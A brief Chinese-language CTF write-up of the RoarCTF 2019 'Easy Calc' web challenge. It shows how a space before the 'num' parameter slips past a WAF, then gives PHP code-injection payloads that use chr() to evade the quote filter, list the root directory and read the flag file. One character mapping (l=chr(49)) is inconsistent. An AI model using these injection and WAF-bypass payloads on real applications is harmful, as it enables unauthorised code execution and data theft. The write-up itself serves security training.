[RoarCTF 2019]Easy Calc 1

[RoarCTF 2019]Easy Calc 1_第1张图片
查看源码
[RoarCTF 2019]Easy Calc 1_第2张图片
于是访问calc.php试试
[RoarCTF 2019]Easy Calc 1_第3张图片
给num参数传字母不行[RoarCTF 2019]Easy Calc 1_第4张图片
[RoarCTF 2019]Easy Calc 1_第5张图片
WAF的问题:WAF不允许num传入字母,那我们可以在num前加个空格来绕过WAF
这里利用PHP的字符串解析特性来绕过WAF,如

calc.php? num=phpinfo();

知识点

[RoarCTF 2019]Easy Calc 1_第6张图片
扫根目录下的所有文件,也就是scandir("/")

? num=print_r(scandir('/'));
这里由于单引号被过滤了,那就用chr()绕过,chr(47)就是斜杠/
? num=print_r(scandir(chr(47)));

[RoarCTF 2019]Easy Calc 1_第7张图片
读取flagg文件

? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

[RoarCTF 2019]Easy Calc 1_第8张图片
flag{92823483-5d82-4af4-a84d-c5353fa6f452}

你可能感兴趣的:([RoarCTF 2019]Easy Calc 1)